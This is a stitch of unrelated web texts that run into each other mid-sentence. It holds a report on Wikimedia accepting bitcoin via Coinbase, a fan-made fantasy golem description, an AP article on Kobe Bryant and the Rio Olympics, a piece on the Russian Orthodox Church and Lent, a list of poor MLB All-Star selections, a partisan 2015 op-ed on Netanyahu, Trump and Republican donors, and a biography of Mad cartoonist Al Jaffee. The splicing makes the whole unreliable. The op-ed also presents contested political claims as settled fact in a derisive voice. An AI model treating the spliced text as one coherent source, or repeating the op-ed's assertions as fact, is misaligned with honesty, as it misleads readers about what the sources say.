The organization cited grassroots community support for the integration, saying that demand for bitcoin support led to discussions on the leadership level.
The announcement is notable given the Foundation’s past apprehension toward the idea of accepting bitcoin. In March, the organization announced that it was beginning to discuss bitcoin donations, but co-founder Jimmy Wales later commented that Wikimedia was taking a “cautious” approach.
In the blog post, Wikimedia chief revenue officer Lisa Gruwell said that the discussion process was in-depth, but with more clarification available on the legal status of digital currency, Wikimedia was able to move forward.
She wrote:
“Currently, we accept 13 different payment methods enabling donations from nearly every country in the world, and today, we’re adding one more: bitcoin.”
In a separate email sent to Wikipedia supporters, the organization said that the goal is to offer “flexible” payment options to those who donate to keep the online encyclopedia running. With bitcoin, the Foundation declared, Wikipedia supporters can enjoy greater versatility in their donation options.
One more way to give
The reason for the prior apprehension, the organization said, was the operational and legal complexity and uncertainties surrounding bitcoin.
But the Foundation leadership cited its partnership with Coinbase as a method for sidestepping some of the logistical needs that come with accepting bitcoin, which includes the occasional need to exchange bitcoin for fiat currency.
According to the Wikimedia blog post:
“Using Coinbase, a bitcoin exchange, we’re able to immediately convert bitcoin to U.S. dollars, requiring minimal technical implementation on our end. Since we now also have guidance on how to account for bitcoin, there is a clear understanding of how to legally manage it.”
Speaking with CoinDesk, Coinbase director of business development Adam White remarked that the Foundation took the slow and steady approach to make sure that it maintained full legal compliance. But once those concerns were addressed, “that gave wikipedia enough confidence to say let’s move forward with this and choose a solution”, he said.
Among the benefits discussed includes the option for small donations, which is attractive for a platform like Wikipedia that runs on the support of its global readership.
Notably, White told CoinDesk that the Wikipedia integration marks the largest non-profit to accept the digital currency to date.
With the integration now active, all users have to do is go to Wikipedia’s donation page and opt to pay in bitcoin. Like with any option, users can choose to make either one-time or recurring donations to the free encyclopedia.
Image Credit: 360b / Shutterstock.comSkin Directory: Bozakorados Forest / Inner Zone / Royal Stone Golem Gaurdians / Tremzamore
"Tremzamore is stone golem with the power of wind inside.
He can create whirlwind to blow his enemy away."
Tremzamore with Simplistic Shading
Drawing of Tremzamore by me.
Tremzamore was created by Alkirodan with the magic of Khilzaloft orb and Sacred Moonlight stones around the World Tree while there was extreme strong wind around.Tremzamore is not quite big golem, his height is about 6 feets. He guards the World Tree from strangers. He can move very fast by splitting himself into small pieces then fly using very strong wind then forms himself anywhere he wants.He uses his magical stick to summon strong whirlwinds then controls them to chase his enemy. He rarely kills his enemy, he likes to blow them out away from Bozakoradoz forest.New York Knicks forward Carmelo Anthony (7) embraces Los Angeles Lakers forward Kobe Bryant (24) at the end of an NBA basketball game at Madison Square Garden in New York, Sunday, Nov. 8, 2015. The Knicks defeated the Lakers 99-95. (AP Photo/Kathy Willens) The Associated Press
By TIM REYNOLDS, AP Basketball Writer
MIAMI (AP) — Kobe Bryant sounds like someone who wants to play beyond this season — if only for a few months.
Bryant said Monday that he still wants to be part of the team that USA Basketball will send to the 2016 Rio de Janeiro Olympics, a tournament that theoretically could mark the end of his competitive basketball career if he retires at the conclusion of this NBA season. Bryant helped the U.S. win gold at the 2008 Beijing Games and 2012 London Games.
"It would mean the world to me to be around those guys," Bryant said in an interview with The Associated Press. "I think to be able to have a chance to continue the relationship that I already have with most of those guys, talking and just kind of being around each other and understanding that this is it, it's just us being together, that would be fun."
Bryant is in his 20th season with the Lakers, and questions have been rampant for some time whether this NBA year will be his last. Bryant has suggested that he's leaning in that direction, though has stopped short of making a true retirement announcement.
The notion of Bryant being on the Olympic team started being bandied about in earnest in August, when USA Basketball chairman Jerry Colangelo revealed that he had spoken with the five-time NBA champion — who previously said he wouldn't play in Rio — about the potential of being on the team. The 12 players on the list for Rio is expected to be revealed in June.
"How I feel now is that I feel like I can add value from a leadership perspective and a defensive perspective," Bryant said. "I can still move extremely well defensively."
Bryant will turn 38 two days after the gold-medal game in Rio. He has been on five different USA Basketball national teams, with those teams combining to go 36-0 in international competition. If he is picked for Rio, he and other veterans like LeBron James, Chris Paul and Carmelo Anthony would have a chance at becoming the first U.S. men to win Olympic basketball gold three times.
"I would like to play," Bryant said. "I think it'd be awesome. A beautiful experience. I'm a global kid. I grew up in Italy, I know a lot of athletes from different parts of the world, from different sports. It'd be great to play in that environment."
Bryant is the third-leading scorer in NBA history. He's averaging 16.5 points per game so far this season, and he and the Lakers visit the Miami Heat on Tuesday night.
___
Follow Tim Reynolds at twitter.com/ByTimReynolds. His work can be found at http://bigstory.ap.org/content/tim-reynoldsMarch 15, 2013
Russian Orthodox church advises people to avoid Instagram and Twitter when annual period of self-denial begins next week.
The Russian Orthodox Church has long told its followers to give up milk and meat for Lent but when the annual period of self-denial begins on Monday its leaders want the flock to go one stage further.
There should be no tweeting or instagramming of the experience – and no social media at all, in order to better cleanse the soul, according to church spokesman, Vsevolod Chaplin.
“I don’t mean just people who use depraved, entertaining, stupid and empty information,” Chaplin said. “Even useful information, that relates to our work and well-meaning interests, clogs the brain and soul too much.”
Russians should take the opportunity of Lent to give up social media and “look at themselves and the world around them with different eyes”, he said during a press conference this week.
“Giving yourself several hours or 15 minutes of time during Lent to not read curses on social networks, but serious texts, serious art, prayer, unhurried conversation with close ones – this is a unique chance to change your life,” he said.
Russia is currently celebrating Maslenitsa, a week-long pancake festival ahead of Lent. Marking Lent has become quite fashionable in recent years, as the church experiences a revival launched with the fall of the Soviet Union.
The Russian Orthodox Church has gained enormous power and influence under Vladimir Putin, the president. It has often spoken out as a reactionary force pushing for conservative values and against influences that are seen as western, like the Internet.
Research by the Levada Centre, an independent pollster, recently found that 79 per cent of Russians consider themselves Orthodox. Yet only 5 per cent attend church regularly.
Last month, Patriarch Kirill, the head of the church and a close Putin ally, told a meeting of bishops that the church should increase its presence online in order to combat anti-religious forces.
“When a person makes a query on church life in an Internet search engine, he finds a lot of lies, hypocrisy and hatred,” the patriarch said, the news agency RIA-Novosti reported. “Blogs, social networks – all offer new opportunities for Christian testimony. To be absent from there means to admit one’s helplessness and reluctance for saving one’s brethren.”
Source: GuardianThere is an awkward, hilarious storm brewing in the form of fan voting for the Major League Baseball All-Star Game: The leading vote-getters in the American League are Mike Trout and eight Kansas City Royals.
This is, of course, part of the territory, the risk MLB runs by giving fans the ability to choose the Midsummer Classic's starting position players. Sometimes the fans "get it wrong," as is bemoaned after the fact on those occasions, snubbing more deserving players.
While Commissioner Rob Manfred has said he is "open to change if we get a result that is not consistent with the goals of the system that is in place," the crazy thing about the eight Kansas City leaders is most of them are not bad options. Lorenzo Cain and Alex Gordon should be All-Stars. Mike Moustakas has been mashing, and you could do a whole lot worse than Eric Hosmer.
The only undesirable result in the voting results as it stands now is second baseman Omar Infante. Infante, a 2010 All-Star, was hitting.221 with a.229 on-base percentage and.307 slugging mark entering Wednesday. That's good for a 48 OPS+, a stat for which league average is set at 100.
Infante overtook Astros second baseman Jose Altuve -- the reigning AL batting champ and "my favorite player," Infante said -- in this week's voting update.
"I'm happy for that. I'm appreciative to the fans," Infante said. "I know I don't have the numbers. But I don't have control [over the voting]."
Infante would be among the worst All-Stars ever -- and there have been some confusing ones through the years. A perusal of recent All-Star rosters, though, reveals that you can't place the blame entirely on fans for some of the questionable selections. Most egregious examples are spread out among the selections by fans, players and managers. Here's a look at some of the biggest All-Star aberrations in the Wild Card era.
Mark Redman, Royals, 2006
First-half stats: 6-4, 5.27 ERA, 1.45 WHIP, 3.5 K/9, 1.00 K/BB,.282/.354/.455 opponents' slash line
Blame Game: Manager (Ozzie Guillen)
If MLB were to abandon the mandate that says every team needs to have at least one representative at the All-Star Game, you could call it the Mark Redman Rule.
Redman was not a good pitcher in 2006. He was an All-Star because the Royals, who lost 100 games, were not a good team and didn't exactly have a surplus of All-Star options. By the break, Redman had walked as many batters as he'd struck out (32 of each in 82 innings), and opposing batters posted a 111 OPS+ against him. (The latter stat wasn't a thing back then, but it underscores just how ineffective Redman was.) Five consecutive wins -- valued more so a decade ago than they are now -- in June probably helped his All-Star argument.
"Blame" might be a strong word for Guillen's selection of Redman because, well, he had to pick someone. Guillen was a coach for Redman and the Marlins when they won it all in 2003, so perhaps the familiarity made it a little easier to pick a guy with a 5.00-plus ERA.
Jason Varitek, Red Sox, 2008
First-half stats:.218/.299/.354, 7 HR, 28 RBIs, 77 OPS+
Blame Game: Players
One's first thought might be to blame Terry Francona, the then-Red Sox manager who was guiding the AL All-Stars following Boston's AL pennant-winning 2007 season, for giving his captain an undeserving nod in what wound up being Varitek's last full season as the Red Sox's starting catcher.
But no, this one is on the players. Major Leaguers are focused on their own teams more than anything else and might not necessarily have a great sense of who should or shouldn't be an All-Star, but even by that standard, this was an odd pick. Varitek himself acknowledged as much.
"There's a level of [embarrassment], but this was a player vote, so there's a level of appreciation, too," Varitek said at the time. "It's still an honor."
Varitek's 0.6 WAR (via Baseball-Reference) in 2008 was his lowest over a full season.
Esteban Loaiza, White Sox, 2004
First-half stats: 8-4, 4.77 ERA, 1.41 WHIP, 5.1 K/9, 1.92 K/BB
Blame Game: Manager (Joe Torre)
Loaiza was the White Sox's lone representative in '04, though the team didn't exactly give Torre a ton of options. You could have made a case for power-hitting outfielder Carlos Lee or rookie reliever Shingo Takatsu, but alas, Torre opted for Loaiza, who didn't do a great job keeping runs off the board, didn't strike out a ton of batters and didn't have great control.
It stands to reason this was a nod for Loaiza's good work in 2003, when he actually started the All-Star Game en route to posting a 2.90 ERA and finishing second in the AL Cy Young Award voting. Or, if you're into conspiracy theories, you could say Torre wanted to schmooze Loaiza for when the Yankees acquired him a few weeks later.
Cal Ripken Jr., Orioles, 2001
First-half stats:.240/.270/.324, 4 HR, 28 RBIs, 56 OPS+
Blame Game: Fans
Ripken's election to the 2001 All-Star Game is a perfect example of a post-prime star getting continued love in the fan vote, be it by pure name recognition or an especially fervent fan base. This was an incredible 19th consecutive All-Star Game for Ripken, as well as his second in a row while posting below-league-average offense in the first half.
Ripken, his games-played streak and shortstop range in the rearview mirror, was clearly on his way out. The ".324" could be an All-Star stat, but that's his slugging percentage, not his average. He was also striking out twice as often as he walked.
Still, it's hard to rag on the fans for this one, given the result. In the first inning, Alex Rodriguez offered to move to the hot corner so Ripken, who played third base late in his career, could assume his customary position, in an all-time great Midsummer Classic moment.
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Ozzie Smith, Cardinals, 1995
First-half stats:.250/.320/.294, 3 XBH, 3 RBIs, 66 OPS+, 19 games
Blame Game: Fans
There isn't much of a mystery here. Despite Smith getting off to a poor start -- before undergoing shoulder surgery at the end of May and then missing three months -- the fans voted him in as the National League starting shortstop, choosing the easy route and opting for a player who had been a perennial All-Star since the early 1980s instead of looking at the numbers. This was also before online voting was en vogue, when folks had to choose players on actual paper ballots at ballparks, so it was easier to think, "Hey, yeah, that guy is good" without being very aware of that season's reality.
No harm, no foul, though, because Smith was hurt and didn't play. In his stead, the Reds' Barry Larkin -- who was indeed more deserving, with a first-half.289/.391/.458 slash line -- made the start.
Lenny Dykstra, Phillies, 1995
First-half stats:.262/.347/.325, 0 HR, 15 RBIs, 81 OPS+, 46 games
Blame Game: Fans
This one doesn't make a ton of sense, other than perhaps fans voting for the popular name. Unlike with Smith and Ripken, though, Dykstra wasn't an All-Star regular and future Hall of Famer. He was just a solid Major Leaguer, albeit one toward the end of his career and battling an injury -- spinal stenosis, which has David Wright sidelined right now.
In the first half of that post-strike season, Dykstra didn't hit a ton, walked a decent amount and had very little power. He played only nine games in June.
Prior to that spring, Dykstra had a solid run that perhaps improved his name recognition on those old paper ballots. In 1993, his ninth Major League season, he had a career year and finished second in NL MVP voting to Barry Bonds. He parlayed that into a successful first half and All-Star selection in '94 (though he was hurt and didn't play).
Tim Wakefield, Red Sox, 2009
First-half stats: 4.31 ERA, 1.38 WHIP, 5.1 K/9, 1.65 K/BB
Blame Game: Manager (Joe Maddon)
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And yet in 2009, at the age of 42, Wakefield was an All-Star for the first and only time. His numbers weren't especially impressive -- his 4.31 ERA was marginally better than his career 4.41 mark, and batters' OPS+ was only a little worse than the league average -- but Maddon picked him anyway. (The Rays lit up Wakefield in their only matchup that season, so it's not as if Maddon was especially impressed by an in-person sighting.)
Wakefield won 11 games in 17 starts in the first half, which probably looked appealing. It was billed as a career achievement award of sorts at the time, which isn't really how the All-Star Game is supposed to work, but oh well.
Matt Capps, Nationals, 2010
First-half stats: 23 saves, 3.18 ERA, 1.41 WHIP, 7.5 K/9, 4.71 K/BB, 109 opponents' OPS+
Blame Game: Players
This one was a perfect storm of a bad team (needing an All-Star rep) and traditional stats (that don't paint a telling picture) leading to a questionable All-Star.
To be clear, Capps had a good season in 2010, as he finished with a 2.47 ERA and had solid control. When it comes to All-Star relievers, though, there aren't too many with ERAs above 3.00 who give up more than a hit per inning. But like Wakefield and his wins, Capps had 23 saves at the break, a pace far greater than any during his Pittsburgh days.
Combine Capps stacking up those saves with the Nationals finishing the first half 11 games under.500, and it's a somewhat obvious decision, if not an ideal one. Setup man Tyler Clippard had comparable numbers but didn't have the saves, and rookie Stephen Strasburg was exciting and performing well but had debuted in June. Ryan Zimmerman had a first half totally deserving of what would haven his second consecutive All-Star Game, but he settled for a spot on the Final Vote ballot.
Washington traded Capps to Twins a couple of weeks later.
Shawn Chacon, Rockies, 2003
First-half stats: 11-4, 4.27 ERA, 1.31 WHIP, 6.2 K/9, 1.80 K/BB
Blame Game: Players
Chacon fits the Wakefield mold of All-Stars, minus the career-achievement bit: 4.00-plus ERA and less-than-dominant strikeout numbers, but lots of wins.
That was enough for the players to vote Chacon onto the team with the second-highest vote total among starting pitchers. Chacon didn't play due to an elbow injury that ultimately ended his season early. Manager Dusty Baker -- then the first-year Cubs manager leading the NL All-Stars after winning the pennant with the Giants in '02 -- picked his own guy, Major League strikeout leader Kerry Wood, as the replacement.
This wasn't a case of a mediocre team needing someone to send to the All-Star Game. Colorado first baseman Todd Helton and outfielder Preston Wilson also made the team.
Scott Rolen, Reds, 2011
First-half stats:.241/.276/.398, 5 HR, 36 RBIs, 88 OPS+
Blame Game: Fans
The fans actually share the blame for this one with the vagaries of a long baseball season. Rolen became the starter when the top vote-getter at third base, Chipper Jones, went on the disabled list and Rolen, the second-highest vote-getter, was bumped up.
Still, it's not a good look when the starting third baseman is getting on base less frequently than his All-Star teammates are recording hits, no matter how smooth the 36-year-old Rolen might've been with the glove. Rolen fits right in with the Ripkens and Smiths of the world -- great company, of course -- as former top-notch players who rode that popularity to votes and All-Star Games late in their careers.
Honorable mentions: Derek Jeter (2014), Rafael Furcal (2012), Derek Jeter (2011), Kevin Correia (2011), Derek Jeter (2010), Mark Loretta (2006), Jimmy Rollins (2002), Tony Womack (1997).
* * *
Tim Healey is a contributor to Sports on Earth. Follow him on Twitter @timbhealey.Thanks to global warming and the vagaries of Nature, this has been a long, hot summer all over the northern hemisphere, including much of the United States. If only that were the worst of it!
Bad weather pales in comparison to the refugee crisis in Europe, the latest spate of truly horrific news brought on by nearly a decade and a half of Bush-Obama wars.
Because of what the United States and NATO have been up to in the Middle East and Africa, a seemingly endless stream of Syrians, Iraqis, Libyans, sub-Saharan Africans and others have struggled this summer to reach Europe in the hope of finding safe havens.
Many have died trying, and the situation is likely to become even worse.
But not all this summer’s news has been bad. It hardly balances out in the end, but for those of us who rejoice when bad things happen to bad people, these past few months have been amazing.
Benjamin Netanyahu has taken a licking, along with his co-thinkers and political allies in Israel and around the world.
The Senators and Representatives in the U.S. Congress who slavishly do Netanyahu’s bidding took a hit too; and the Israel lobby in the United States, along with its counterparts in other Western countries, must have finally come to the realization that, for them, the salad days are over.
They thought they were invincible; everybody did. And yet they couldn’t stop the nuclear weapons deal that six world powers, including the United States, negotiated with Iran; the greatest of all the “existential threats” Netanyahu has concocted.
No matter that Iran had not been working towards acquiring nuclear weapons or that it had no intention of doing so. No matter either that, in reality, the only thing an Iranian bomb would threaten is Israel’s regional nuclear monopoly.
The word had come down from the Bibster: if Iran will not surrender unconditionally, there must be war. The peoples of the world and their governments told him where he could go with that. Even Obama wasn’t bullied.
It was a truly magnificent humiliation.
Netanyahu’s government and its (unregistered) overseas agents — especially AIPAC, the American Israel Public Affairs Committee – may still lash out; this is worrisome because they can still do harm. And Congressional Republicans evidently believe that, defeat notwithstanding, they can still benefit by keeping the issue alive. This is dumb, even for them. Still, the fact remains: all those miscreants lost — big time.
There was other good news as well. Thanks to Donald Trump’s egomaniacal demagoguery, “Republican donors” – spiritual and (sometimes) literal heirs of yesteryears’ “malefactors of great wealth” – lost big time too. A few months ago, no one would have thought it possible.
Miscreants like Sheldon Adelson who fall in both categories – there are quite a few of them – lost twice!
If anything ever has, this warrants a “Hallelujah.”
Back in 2010 and for a few years thereafter, when the Tea Party was riding high, Republican donors were on top of the world. They were recruiting cannon fodder for their war on the “ninety-nine percent” by the trainload, and it was only costing them pocket change.
They were also getting union-busting flunkies elected into Governors’ offices and state legislatures. Public sector unions in states with long pro-labor traditions — Michigan, Wisconsin, Indiana, and Ohio, among them – were in plain retreat. The ripple effects were profound.
Best of all for those donors, some of the most alienated, distraught, and socially dislocated victims of the neoliberal world order were fighting against their own interests and for the plutocrats’.
It doesn’t get better than that!
Or so it seemed. Now it turns out that the people they were mobilizing weren’t quite so full of “false consciousness” as was widely believed.
To be sure, Tea Partiers and others of their ilk could be counted on to side with plutocrats on “the issues.” But their hearts weren’t in it.
It was hard to see through the miasma of hopelessness, but the fact was, and is, that it is the political class, not the people who vote for one or another of the major party’s candidates, that are the problem.
It was especially hard to see that Tea Party militancy was about a whole lot more than the issues that Tea Party politicians touted.
There were, and still are, exceptions: religious fanatics, misogynists, nativists, racists. Being easy prey for rightwing ideologues and political entrepreneurs, the GOP’s grandees own them just as surely as the plutocracy generally owns the Democrats and Republican who spend their days dialing for dollars.
But, in the end, those unhappy souls really only cared about their own issues – guns, abortion, gay marriage or whatever. They and the plutocrats were never entirely on the same page. Even in the Tea Party’s heyday, they were just along for the ride.
In any case, certifiable loony-tunes were never more than a small part of the Republican base.
Indeed, thanks to the Trump phenomenon, we now know that most “likely Republican voters,” as the pollsters call them, don’t – and probably never did — care much about issues at all.
We also know that in general their sympathies, like Trump’s, are more progressive than the average Democratic Party politician’s.
Not on all issues, of course. It seems that when it comes to welcoming immigrants from Mexico and Central America into the Land of the Free, heartfelt nativist attitudes abound throughout the Republican base.
But on, for example, trade or public expenditures for infrastructure, or even health care, Trump fans, like Trump himself (in the past and, when it suits him, still), are way ahead of the pack.
Trump has therefore been a mixed blessing. He has loosened the grip Republican donors have over Republican voters. At the same time, however, he has encouraged Republican voters, susceptible ones anyway, to cross over to the Dark Side.
Does he care? Who knows? Probably, not even Trump himself. What he does know is that there are quite a few inveterate, mean-spirited reactionary white men and women out there ready to rally behind noxious causes.
He also knows that it makes sense for him, at this point, to rile them up and egg them on.
Trump’s effect, so far, has been to disrupt (electoral) politics as usual. For anyone paying attention, this has made the long hot summer a tad less onerous.
If he keeps at it, he will be more disruptive still. Time will tell how good or bad the consequences will be.
They could be very bad indeed if the noxiousness that he has unleashed gets out of hand, or if, notwithstanding his purported dedication to furthering American interests come what may, he finds it expedient to go after Israel-first voters. That could delay the precipitous decline of Netanyahu’s hold over Washington. Trump’s participation at the anti-nuclear agreement rally in Washington last week suggests that he is thinking along these lines.
So far, though, the plusses have outweighed the minuses. High on the list of plusses is Trump’s candor about political corruption. More people now than ever before know how money in politics works — because, speaking with the authority of one who has been there and done that, Trump told them.
And, for anyone who can look beyond the fear and loathing Trump inspires, the Trump phenomenon can be enlightening.
It is not exactly news that when people are mad as hell – no matter why — they can be made to project their anger onto scapegoats. Neither is it news that, for descendants of immigrants, new waves of immigrants make perfect targets.
What is news is how angry people are – so angry that even a figure as ridiculous as the Donald can lead some of them astray.
The anger is understandable; indeed, justifiable. Neoliberal capitalism has done a number on the American people.
The tragedy is that there is no significant political force putting that anger to constructive use.
If Bernie Sanders and his acolytes would stop making nice with the Clintons and the Bidens and other feckless neoliberal neocons, it would be different.
If Jill Stein and other genuine progressives could garner even a modicum of media attention, it would be more different still, and far better.
But in the real world of American politics, the only actual or potential anger-magnet making a significant difference is Donald Trump.
And because Trump is so good at bringing repressed anger out into the open, we can now see the Tea Party’s role in the Republican Party’s trajectory in a clearer light. It is now plain that inchoate anger is what the Tea Party had always been about.
It would even be fair to say that, except for the handful of highly vocal principled libertarians in their ranks, Tea Partiers never really cared much about shrinking government or giving “free markets” free rein.
They seemed to care because ideologues were able to take advantage of the fact that it is hard to get a purchase on the harm “the invisible hand” of the market does, but easy to see the workings of the state’s visible hand.
However all of it, visible and invisible alike, can be, and often is, infuriating. The fury can be repressed, but it is always there.
Through snide insinuation and megalomaniacal bluster, Trump has managed to disengage the anger from the issues. An unintended consequence of this has been that the Republican base is now freer than it used to be from the their Party’s donors’ thrall.
Issues matter to Trump, but only insofar as they affect him. This is why he can be – and usually is — all over the political map.
When Trump was buying favors from politicians in New York – from Cuomos and Clintons and others of their ilk — he was pro-choice, and for public investment in infrastructure and education.
Compared to most Democrats, he was also pretty good on the Iraq War and the larger War on Terror. On health care, he was better than the Clintons or Barack Obama.
This is the Donald’s way; by sentiment, if not conviction, he is a “maverick” with liberal inclinations. But, now that he is running in the Republican primaries, if some Republican cause suits an audience he wants to bamboozle – climate change denial, for example — he will go for it. The issues don’t matter; getting what he wants does.
Being more rabid than his rivals on immigration has worked for him. Being worse than, say, Scott Walker or Ted Cruz or Marco Rubio on other issues would be a waste of time. Why even talk about it!
It is important, of course, when running as a Republican, to maintain a Republican veneer. But Trump has shown that there is more wiggle room on that score than anyone would have imagined.
Were he to win the nomination, who knows what stands he would take? The one sure thing is that he would keep on exploiting voters’ anger, as best he could. There is plenty to exploit.
Miscreant Republican donors and high-ranking Party operatives fear the consequences. They have reason.
The problem is not just that Trump is scary enough to guarantee a Democratic victory in the 2016 election. Inasmuch as there never has been a Republican candidate in sight that a prudent voter could take seriously, a Democratic victory was all but assured long before Trump burst onto the scene.
The larger problem Trump poses for GOP grandees is that he will tear their concoction apart, accelerating its transformation into a niche party for aging white yahoos. The GOP is their thing, their Cosa Nostra. They don’t want to lose it.
And even if they do manage to hang on, they fear that Trump will put their Party permanently on the wrong side of demography; and of history as well. He may have done that already.
The good news is that there is nothing they can do about it! Even if Trump is not the eventual nominee, king makers like Karl Rove and Roger Ailes have already lost big time; all the Party’s movers and shakers have.
If Trump ultimately bolts the party, or is somehow thrown out, the damage he would go on to do could be irreparable.
Poor Reince Priebus, the Republican Party Chairman. He can pretend all he wants that he negotiated a pledge from Trump to stay on board no matter what. But Priebus knows full well, as does everyone else, that Trump’s pledge means nothing. Priebus wasn’t negotiating; he was being played.
Trump can up and go anytime he wants; he is rich enough, and mean enough to tell them all to go to hell.
The decline and fall of the GOP would be wondrous to behold. But the wise must be careful what they wish for.
Trump’s demagoguery could unleash forces that will move America so far to the right that the center will not hold. This probably won’t happen, but it could: the furies are at the ready.
As Maxwell Smart might have said |
Kurtzman left in a dispute three issues later, Jaffee went with Kurtzman. Jaffee contributed to Kurtzman's first two post-Mad publishing efforts, Trump and the creator-owned Humbug. In 2008, the first full reprint of Humbug was published as a two-volume set by Fantagraphics; the set includes a newly commissioned cover illustration by Jaffee, and a co-interview with Jaffee and Arnold Roth.
After Humbug folded in 1958, Jaffee brought his unpublished material to Mad, which bought the work. "Bill Gaines took out every Trump and Humbug," remembered Jaffee, "called me into his office, sat me down on the couch next to him, and went over every issue and said "Which is yours?" And as he came to each one, when he saw my stuff, he OK'd to hire me."[17]
The Fold-In [ edit ]
In 1964, Jaffee created his longest-running Mad feature, the Fold-In. In each, a drawing is folded vertically and inward to reveal a new "hidden" picture (as well as a new caption). Originally, Jaffee intended it as a one-shot "cheap" satire of the triple fold-outs that were appearing in glossy magazines such as Playboy, National Geographic and Life. But Jaffee was asked to do a second installment, and soon the Fold-In became a recurring feature on the inside back cover of the magazine. In 2011. Jaffee reflected, "The thing that I got a kick out of was... Jeopardy! showed a Fold-In and the contestants all came up with the word they were looking for, which was "Fold-In." So I realized, I created an English language word."
In 2010, Jaffee described the earliest Fold-Ins:
I thought to myself... now it's folded in and I've got to have something on the left side here, and something right side here. And the only thing that popped into my head was that Elizabeth Taylor had just dumped Eddie Fisher and was carrying on with Richard Burton. So I had Elizabeth Taylor kissing Richard Burton, and a cop is holding the crowd back – and just for the fun of it I put Eddie Fisher being trampled by the crowd. What a cruel thing to do! And then, when you fold it in, she's moving on from Richard Burton and kissing the next guy in the crowd. It's so simplistic and silly and juvenile! And anyone could have done that! I showed it to Al Feldstein, and the first thing I said was, "Al, I've got this crazy idea, and you're not going to buy it, because it mutilates the magazine." So I put it in front of him, and the thing about Al was, he liked things that intrigued him. The mechanics of it intrigued him. He said, "You mean, you fold it, like this...? And then...?" He folded it, he unfolded it, he folded it, and then he said, "I like this!" But I said, "Al, it mutilates the magazine." And he said, "Well, I'll have to check it with Bill." He takes it, runs it to Bill's office, and he was there a little while, and he comes back and he says, "We're going to do it! You know what Bill said? Bill said, 'So they mutilate the magazine, and then they'll buy another one to save!' Four or five weeks later, Al comes over to me and says, "When are you going to do the next Fold-In?" And I said, "I don't have another Fold-In. That was it!" So he said, "Come on, you can come up with something else." I wracked my brain, and the only thing I could come up with was Nixon [whose face was hidden within curtain folds]. That one really set the tone for what the cleverness of the Fold-Ins has to be. It couldn't just be bringing someone from the left to kiss someone on the right."[21]
The Fold-In has since become one of Mad's signature features, and has appeared in almost every issue of the magazine from 1964–2017.[13] A single issue in 1977 was published without a Fold-In (though Jaffee supplied the issue's back cover), and a 1980 issue instead featured a unique double-visual gimmick by Jaffee in which the inside back cover and the outside back cover merged to create a third image when held up to the light. The third-ever Fold-In in 1964 featured a unique diagonal folding design, rather than the standard left-right vertical format. The image revealed the four members of The Beatles becoming bald (and thus losing their popularity).[22]
The Far Side creator Gary Larson described his experience with the Fold-In: "The dilemma was always this: Very slowly and carefully fold the back cover... without creasing the page and quickly look at the joke. Jaffee's artistry before the folding was so amazing that I suspect I was not alone in not wanting to deface it in any way."[7] In 1972, Jaffee received a Special Features Reuben Award for his Fold-Ins.
Jaffee uses a computer only for typographic maneuvers to make certain Fold-In tricks easier to design and he typically takes two weeks to sketch and finalize an image.[23] Otherwise, all his work is done by hand. "I'm working on a hard, flat board... I cannot fold it. That's why my planning has to be so correct." In 2008, Jaffee told one newspaper, "I never see the finished painting folded until it's printed in the magazine. I guess I have that kind of visual mind where I can see the two sides without actually putting them together."[24] Contrasting current art techniques and Jaffee's approach, Mad's art director, Sam Viviano, said, "I think part of the brilliance of the Fold-In is lost on the younger generations who are so used to Photoshop and being able to do stuff like that on a computer."[13]
In the 2000s [ edit ]
As of 2018, Jaffee continues to do the Fold-In for Mad, as well as additional artwork for articles. Mad's oldest regular contributor, Jaffee's work has appeared in 500 of the magazine's first 550 issues, a total unmatched by any other writer or artist. He has said, "I work for a magazine that's essentially for young people, and to have them keep me going, I feel very lucky... To use an old cliché, I'm like an old racehorse. When the other horses are running, I want to run too."[13]
In August 2008, Jaffee was interviewed for an NY1 feature about his career. He said, "It astonishes me that I still am functioning at a fairly decent level. Because there were a lot of dark days, but you have to reinvent yourself. You get knocked down and you pick up yourself and you move on."[1]
A four-volume hardcover boxed set, The Mad Fold-In Collection: 1964–2010, was published by Chronicle Books in September 2011, ISBN 978-0811872850.
Frequent themes [ edit ]
Jaffee signing in 2008
Will Forbis wrote: "This is the core of Jaffee's work: the idea that to be alive is to be constantly beleaguered by annoying idiots, poorly designed products and the unapologetic ferocity of fate. Competence and intelligence are not rewarded in life but punished."[25] In the book Inside Mad, fellow Mad writer Desmond Devlin called Jaffee "the irreplaceable embodiment of Mad Magazine's range: smart but silly, angry but understanding, sophisticated but gross, upbeat but hopeless....He's uncommonly interested in figuring out how things work, and exasperated because things NEVER work."[26]
Jaffee has contributed to hundreds of Mad articles as either a writer or an artist and often both. These include his long-running "Snappy Answers to Stupid Questions", which present multiple putdowns for the same unnecessary or clueless inquiry, and several articles on inventions and gadgets, which are presented in an elaborately detailed "blueprint" style. Sergio Aragones says of Jaffee, "He is brilliant at many things, but especially inventions. When he draws a machine for Mad, no matter how silly the idea, it always looks like it works. He thinks that way because he is not only an artist, but a technician as well... He is the guy who can do anything."[12] In a patent file for a self-extinguishing cigarette, the inventor thanked Jaffee for providing the inspiration.[17] Other actual inventions that have since come to pass had appeared earlier in Jaffee articles, such as telephone redial and address books (1961), snowboarding (1965), the computer spell-checker (1967), peelable stamps, multi-blade razors (1979), and graffiti-proof building surfaces (1982). "I could imagine those things," Jaffee told an interviewer. "That was the fun part. But I never had the problem of trying to figure out how to manufacture them."[27]
During the Vietnam War, Jaffee also created the short-lived gag cartoon Hawks and Doves, in which a military officer named Major Hawks is antagonized by Private Doves, an easygoing soldier who contrives to create surreptitious peace signs in various locations on a military base. In a 1998 issue, all the Hawks & Doves strips were republished, along with an original strip in color on the back of the issue.
Some of Jaffee's features were expanded into stand-alone books, including a 1997 collection of Fold-Ins titled Fold This Book! ISBN 978-0446912129 and eight "Snappy Answers" paperbacks. Referring to the latter, Jaffee said, "I was going through a divorce when I started that. I got a lot of my hostility out through Snappy Answers."[12]
Techniques and materials [ edit ]
When designing his Mad Fold-Ins, Jaffee starts with the finished "answer" to the Fold-In, and then spreads it apart and places a piece of tracing paper over it in order to fill in the center "throw-away" aspect of the image, which is covered up when the page is folded over, using regular pencil at this stage. Jaffee will then trace the image onto another piece of illustration board using carbon paper. At this stage he uses red or green color pencils, which are distinct from the black pencil of the original drawing, in order to discern his progress. Once the image is on the illustration board, he will then finish it by painting it. Because the illustration board is too inflexible to fold, Jaffee does not see the finished Fold-In image until it is published.[28]
Awards and recognition [ edit ]
Jaffee won the National Cartoonists Society Advertising and Illustration Award for 1973, its Special Features Award for 1971 and 1975, and its Humor Comic Book Award for 1979.[29] In 2008, he won the Reuben Awards' Cartoonist of the Year.[30]
